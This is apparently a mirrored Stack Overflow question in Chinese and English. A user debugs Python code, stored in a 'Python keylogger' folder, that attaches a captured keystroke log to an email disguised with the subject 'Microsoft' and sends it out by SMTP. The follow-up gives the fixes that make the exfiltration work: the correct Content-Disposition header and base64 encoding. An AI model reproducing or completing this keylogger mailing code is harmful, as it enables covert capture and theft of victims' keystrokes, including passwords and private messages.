簡體   English   中英

PermissionError: [Errno 13] 權限被拒絕 python 錯誤

[英]PermissionError: [Errno 13] Permission denied python error

我試圖以管理員身份運行可視化代碼,但這並沒有解決問題,我試圖以 rb 模式打開這個文件,但我不能。 當我嘗試執行時,它給了我這個權限錯誤。

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Microsoft"
body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna semper, sit amet suscipit lectus vehicula. In hac habitasse platea dictumst. Curabitur dolor purus, ullamcorper ut aliquet at, pulvinar ut ante. Integer sed semper orci. Phasellus pharetra molestie mi, tempor bibendum turpis euismod eget. Nullam scelerisque enim nec nunc maximus, id mollis magna condimentum. Proin mollis pulvinar mollis. Vivamus pharetra arcu non tortor faucibus interdum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas."
msg.attach(MIMEText(body,'plain'))
filename = "log.txt"
attachment = open(r"C:/Users/messa/Desktop/Python keylogger/", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
p.add_header('Content-description','attachment; filename= %s' % filename)
msg.attach(p)

def on_release(key):
if key == Key.esc:
    s.sendmail(fromaddr,toaddr,text)
    s.quit()
    return False

感謝@Marichyasana,有 3 個問題。 他在評論中修復了一個,第二個問題是我輸入了內容描述,它應該是“內容處置”

p.add_header('Content-description','attachment; filename= %s' % filename)

第三,我忘記對有效載荷進行編碼。

encoders.encode_base64(p)

感謝誰試圖提供幫助。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM